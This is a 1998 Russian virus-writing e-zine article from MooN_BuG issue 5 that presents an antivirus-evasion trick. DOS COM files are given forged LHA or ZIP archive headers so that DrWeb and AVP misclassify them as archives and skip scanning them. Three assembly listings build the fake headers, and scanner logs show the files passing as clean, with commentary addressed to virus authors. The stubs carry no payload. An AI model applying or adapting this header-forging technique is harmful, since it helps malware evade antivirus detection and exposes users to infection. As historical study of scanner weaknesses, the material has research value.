[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998                                           file 007

                          Технология "Allien Header"
                                                        by RedArc

Скачал  я  как  это  из инет-помойки всякого барахла и во избежание различного
рода  сюрпризов  натравил  на  каталог с этим барахлом AVP и DrWeb... И чем то
привлекли  мое  внимание  сообщения  этих антивирусов, типа:
                      ZIP - неизвестный формат, пропущен
И  подтвердилась старинная поговорка: лучшее - враг хорошего... Если антивирус
анализирует   формат   заголовка  файла  и  пытается  распаковать  файл  перед
проверкой,  то почему бы не дать антивирусу поверить, что данный файл - архив?

     П  р е д ы с т о р и я. Идея конечно не новая, когда то Alternative Coder
пытался  уже  сделать  такую  фичу  -  заменить  последнии  байты распаковщика
EXE-пакеров  на команды перехода вируса. Это интересно с той точки зрения, что
DrWeb определив, что файл упакован, попытается распаковать его своим сервисом,
тем  самым  затрет  тело  вируса и ничего не найдет, в то же время, при старте
упакованного  файла,  вирус  получит  управление.  Но  по  каким  то  причинам
исследования в этой области были прекращены.

И  так,  вернемся  к нашим баранам. Решил я подойти с другой стороны к вопросу
плохих  архивов  и  посмотрел на эти файлы в hiew... Еще через некоторое время
были  сбацаны   два   первых  файла,  от  реакции  на которые антивирусов, а в
особенности  Dos Navigator, мне срочно захотелось раскупорить еще одну бутылку
пива... ;)

=== Cut === Моделирование плохого заголовка
;1998 (c) by RedArc // TAVC
Model Tiny
.code
.286
org 100h
start:
and bx,cx
sub ax,0686ch
xor ax,0142dh
dw 0103h
jmp Entry
db 100h dup (90h)
Entry:
int 20h
end start
=== Cut ===

=== Cut === Моделирование ошибки распаковки
;1998 (c) by RedArc // TAVC
Model Tiny
.code
.286
org 100h
start:
and bx,cx
sub ax,0686ch
xor ax,0142dh
dw 0103h
jmp Entry
db 100h dup (90h)
db 100h dup (91h)
db 100h dup (92h)
db 100h dup (93h)
db 100h dup (94h)
db 100h dup (95h)
Entry:
int 20h
end start
=== Cut ===

=== Cut === Реакция антивируса DrWeb на эту лажу
────────────────────────────────────────
Dr.Web, версия 4.00 (06 апреля 1998)
Copyright (c) Игорь Данилов, 1992-98
Протокол работы от 1998 May 04  20:22:55
Командная строка:
────────────────────────────────────────
Загрузка вирусной базы DRW40001.VDB - Ok, вирусов - 261
Загрузка вирусной базы DRW40002.VDB - Ok, вирусов - 170
Загрузка вирусной базы DRW40003.VDB - Ok, вирусов - 62
Загрузка вирусной базы DRWEBASE.VDB - Ok, вирусов - 7135
Поиск вирусов в памяти компьютера  -   352 Kb;  32%
Прервать тестирование?
Да
Тестирование прервано по желанию пользователя!
В памяти компьютера вирусов не обнаружено
Поиск вирусов в C:\TEST\*.*:
C:\TEST\DN_1.ASM - Ok
C:\TEST\DN_1.COM - архив LHA
C:\TEST\DN_1.COM\??? - некорректный заголовок!
C:\TEST\DN_2.ASM - Ok
C:\TEST\DN_2.COM - архив LHA
C:\TEST\DN_2.COM\??? - некорректный заголовок!
Отчет для диска C:
Проверено : файлов  и  загрузочных   секторов - 2
Обнаружено: вирусов и инфицированных программ - 0
Время сканирования:                      00:00:00
=== Cut ===

Ладно,  решил  посмотреть  на  заголовки  других  архивов...  Для  начала взял
обычный ZIP-архив...

=== Cut === Моделирование ошибочного формата ZIP-архива
;1998 (c) by RedArc // TAVC
Model Tiny
.code
.286
org 100h
start:
       push ax
       dec bx
       db 003h, 004h, 014h, 000h, 002h, 080h, 008h, 000h, 020h, 010h
       db 08eh, 01fh, 03eh
       jmp short Entry
       db 0f1h, 003h, 02eh, 000h, 000h, 0d0h, 064h, 000h, 000h, 012h
       db 000h, 022h, 000h, 053h, 059h, 053h, 054h, 045h, 04dh, 02fh
       db 043h, 054h, 04ch, 033h, 044h, 056h, 032h, 02eh, 044h, 04ch
       db 04ch, 007h, 000h, 01eh, 000h, 0dah, 06fh, 05fh, 0efh, 0e6h
       db 0f7h
Entry:
       pop ax
       mov bx,ax
       push cs
       pop ds
       int 20h
end start
=== Cut ===

Особенно порадовала реакция антивируса AVPLite ;)

=== Cut ===
■ Antiviral Toolkit Pro by Eugene Kaspersky  Версия 3.0
■ Отчет:  05-05-1998  12:39:52
■ Командная строка:  C:\TEST\ /W=avplite.rpt

D:\AIDS\AVP30.LIT\AVPLITE.EXE   : упакован Diet
C:\TEST\AAA.COM : архив ZIP
C:\TEST\AAA.COM\        : неизвестный формат, пропущен

     Вирусов не обнаружено

 Проверено:         1 файлов
                    1 архивов
                    1 каталогов
                    0 килобайт

     Время:  00:00:00
=== Cut ===

А  вы  говорите  -  анализатор  кода, эмуляторы, ... Чушь все это. Антивирус -
программа, призванная бороться с вирусами. Все. Точка. Критерий для нее один -
надежность.  В понятие надежность так же входит прозрачность работы антивируса
от  вируса.  Зачем?  Затем, чтобы вирусы не отключали стелс-механизм, чтобы не
патчили вирусы в памяти, не мухлевали с командной строкой, ... Все, что удобно
для пользователя - ухудшает качество антивируса. Вставили глюкавый интерфейс с
окошками  в DrWeb - вирусы отловят запуск антивируса по этим окошкам, вставили
копирайты  в базы ADINF - вирусы по этим копирайтам найдут эти базы и вытрут к
ентой  матери,  решили  ускорить  сканирование  определением  формата файлов -
вирусы подсунут другой формат...